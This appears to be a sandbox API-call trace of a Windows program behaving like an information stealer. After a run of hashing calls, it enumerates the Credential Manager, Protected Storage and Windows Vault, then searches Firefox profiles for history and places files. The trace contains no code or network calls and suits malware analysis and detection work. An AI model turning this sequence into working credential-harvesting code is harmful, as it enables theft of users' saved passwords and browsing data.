[0079.863] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.863] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.863] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.863] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7a, dwFlags=0x0) returned 1
[0079.863] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.863] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.863] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.863] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7c, dwFlags=0x0) returned 1
[0079.863] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.863] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.863] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.863] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x72, dwFlags=0x0) returned 1
[0079.863] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.863] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.863] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.863] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x74, dwFlags=0x0) returned 1
[0079.863] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.863] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.863] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.863] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7c, dwFlags=0x0) returned 1
[0079.863] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.864] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.864] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.864] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7e, dwFlags=0x0) returned 1
[0079.864] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.864] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.864] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.864] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x66, dwFlags=0x0) returned 1
[0079.864] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.864] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.864] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.864] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x68, dwFlags=0x0) returned 1
[0079.864] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.864] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.864] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.864] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7c, dwFlags=0x0) returned 1
[0079.864] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.864] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.864] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.864] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7e, dwFlags=0x0) returned 1
[0079.864] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.864] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.864] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.865] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x6a, dwFlags=0x0) returned 1
[0079.865] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.865] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.865] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.865] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x6c, dwFlags=0x0) returned 1
[0079.865] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.865] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.865] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.865] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x72, dwFlags=0x0) returned 1
[0079.865] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.865] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.865] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.865] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x74, dwFlags=0x0) returned 1
[0079.865] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.865] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.865] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.865] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x6e, dwFlags=0x0) returned 1
[0079.865] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.865] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.865] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.865] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x70, dwFlags=0x0) returned 1
[0079.865] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.866] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.866] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.866] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7a, dwFlags=0x0) returned 1
[0079.866] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.866] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.866] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.866] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7c, dwFlags=0x0) returned 1
[0079.866] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.866] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.866] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.866] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x68, dwFlags=0x0) returned 1
[0079.866] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.866] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.866] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.866] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x6a, dwFlags=0x0) returned 1
[0079.866] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.866] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.866] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.866] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x60, dwFlags=0x0) returned 1
[0079.866] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.866] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.866] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.867] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x62, dwFlags=0x0) returned 1
[0079.867] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.867] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.867] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.867] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x82, dwFlags=0x0) returned 1
[0079.867] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.867] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.867] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.867] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x84, dwFlags=0x0) returned 1
[0079.867] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.867] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.867] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.867] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x72, dwFlags=0x0) returned 1
[0079.867] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.867] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.867] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.867] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x74, dwFlags=0x0) returned 1
[0079.867] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.867] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.867] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.867] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x72, dwFlags=0x0) returned 1
[0079.867] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.868] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.868] CryptReleaseContext (hProv=0x1aecc0, dwFlags=0x0) returned 1
[0079.868] LoadLibraryW (lpLibFileName="advapi32.dll") returned 0x76030000
[0079.868] GetProcAddress (hModule=0x76030000, lpProcName="CredReadA") returned 0x760771c1
[0079.868] GetProcAddress (hModule=0x76030000, lpProcName="CredFree") returned 0x7603b2ec
[0079.868] GetProcAddress (hModule=0x76030000, lpProcName="CredDeleteA") returned 0x76077941
[0079.868] GetProcAddress (hModule=0x76030000, lpProcName="CredEnumerateA") returned 0x76077381
[0079.868] GetProcAddress (hModule=0x76030000, lpProcName="CredEnumerateW") returned 0x76077481
[0079.869] CredEnumerateW (in: Filter=0x0, Flags=0x0, Count=0x12bcc4, Credential=0x12bcc8 | out: Count=0x12bcc4, Credential=0x12bcc8) returned 0
[0079.879] FreeLibrary (hLibModule=0x76030000) returned 1
[0079.879] LoadLibraryW (lpLibFileName="pstorec.dll") returned 0x72810000
[0079.883] GetProcAddress (hModule=0x72810000, lpProcName="PStoreCreateInstance") returned 0x7281526c
[0079.883] PStoreCreateInstance () returned 0x0
[0079.886] FreeLibrary (hLibModule=0x72810000) returned 1
[0079.887] LoadLibraryW (lpLibFileName="vaultcli.dll") returned 0x723a0000
[0079.953] GetProcAddress (hModule=0x723a0000, lpProcName="VaultOpenVault") returned 0x723a26a9
[0079.953] GetProcAddress (hModule=0x723a0000, lpProcName="VaultCloseVault") returned 0x723a2718
[0079.953] GetProcAddress (hModule=0x723a0000, lpProcName="VaultEnumerateItems") returned 0x723a3099
[0079.953] GetProcAddress (hModule=0x723a0000, lpProcName="VaultFree") returned 0x723a4321
[0079.953] GetProcAddress (hModule=0x723a0000, lpProcName="VaultGetInformation") returned 0x723a24c0
[0079.953] GetProcAddress (hModule=0x723a0000, lpProcName="VaultGetItem") returned 0x723a3242
[0079.953] GetProcAddress (hModule=0x723a0000, lpProcName="VaultGetItem") returned 0x723a3242
[0079.953] VaultOpenVault () returned 0x0
[0081.049] VaultEnumerateItems () returned 0x0
[0081.049] VaultFree () returned 0x723a4321
[0081.049] VaultCloseVault () returned 0x6
[0081.049] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x12b61c, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 1
[0081.050] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 0x23
[0081.050] wcscat (in: _Dest=0x12b61c, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\"
[0081.050] wcscat (in: _Dest=0x12b61c, _Source="Mozilla\\Profiles" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Profiles") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Profiles"
[0081.050] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x12b828, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 1
[0081.050] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 0x23
[0081.050] wcscat (in: _Dest=0x12b828, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\"
[0081.050] wcscat (in: _Dest=0x12b828, _Source="Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
[0081.050] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Profiles") returned 0x34
[0081.050] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Profiles") returned 0x34
[0081.050] wcslen (_String="*.*") returned 0x3
[0081.050] wcscpy (in: _Dest=0x12ac14, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Profiles" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Profiles") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Profiles"
[0081.050] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Profiles") returned 0x34
[0081.050] wcscat (in: _Dest=0x12ac14, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Profiles\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Profiles\\"
[0081.050] wcscat (in: _Dest=0x12ac14, _Source="*.*" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Profiles\\*.*") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Profiles\\*.*"
[0081.050] FindFirstFileW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Profiles\\*.*", lpFindFileData=0x12ae9c | out: lpFindFileData=0x12ae9c) returned 0xffffffff
[0081.051] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3c
[0081.051] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3c
[0081.051] wcslen (_String="*.*") returned 0x3
[0081.051] wcscpy (in: _Dest=0x12ac14, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
[0081.051] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3c
[0081.051] wcscat (in: _Dest=0x12ac14, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\"
[0081.051] wcscat (in: _Dest=0x12ac14, _Source="*.*" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*"
[0081.051] FindFirstFileW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*", lpFindFileData=0x12ae9c | out: lpFindFileData=0x12ae9c) returned 0x1b0ce8
[0081.051] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3c
[0081.051] wcslen (_String=".") returned 0x1
[0081.052] wcscpy (in: _Dest=0x12b0ec, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
[0081.052] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3c
[0081.052] wcscat (in: _Dest=0x12b0ec, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\"
[0081.052] wcscat (in: _Dest=0x12b0ec, _Source="." | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\.") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\."
[0081.052] wcscmp (_String1=".", _String2="..") returned -1
[0081.052] wcscmp (_String1=".", _String2=".") returned 0
[0081.052] FindNextFileW (in: hFindFile=0x1b0ce8, lpFindFileData=0x12ae9c | out: lpFindFileData=0x12ae9c) returned 1
[0081.052] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3c
[0081.052] wcslen (_String="..") returned 0x2
[0081.052] wcscpy (in: _Dest=0x12b0ec, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
[0081.052] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3c
[0081.052] wcscat (in: _Dest=0x12b0ec, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\"
[0081.052] wcscat (in: _Dest=0x12b0ec, _Source=".." | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\.."
[0081.052] wcscmp (_String1="..", _String2="..") returned 0
[0081.052] FindNextFileW (in: hFindFile=0x1b0ce8, lpFindFileData=0x12ae9c | out: lpFindFileData=0x12ae9c) returned 1
[0081.052] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3c
[0081.052] wcslen (_String="zcf30c9i.default") returned 0x10
[0081.052] wcscpy (in: _Dest=0x12b0ec, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
[0081.052] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3c
[0081.052] wcscat (in: _Dest=0x12b0ec, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\"
[0081.052] wcscat (in: _Dest=0x12b0ec, _Source="zcf30c9i.default" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default"
[0081.052] wcscmp (_String1="zcf30c9i.default", _String2="..") returned 1
[0081.052] wcscmp (_String1="zcf30c9i.default", _String2=".") returned 1
[0081.052] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned 0x4d
[0081.052] FindNextFileW (in: hFindFile=0x1b0ce8, lpFindFileData=0x12ae9c | out: lpFindFileData=0x12ae9c) returned 0
[0081.052] FindClose (in: hFindFile=0x1b0ce8 | out: hFindFile=0x1b0ce8) returned 1
[0081.052] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned 0x4d
[0081.052] wcslen (_String="history.dat") returned 0xb
[0081.052] wcscpy (in: _Dest=0x12ba50, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default"
[0081.052] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned 0x4d
[0081.052] wcscat (in: _Dest=0x12ba50, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\"
[0081.052] wcscat (in: _Dest=0x12ba50, _Source="history.dat" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\history.dat") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\history.dat"
[0081.052] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\history.dat" (normalized: "c:\\users\\atveydl98z\\appdata\\roaming\\mozilla\\firefox\\profiles\\zcf30c9i.default\\history.dat")) returned 0xffffffff
[0081.071] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned 0x4d
[0081.071] wcslen (_String="places.sqlite") returned 0xd
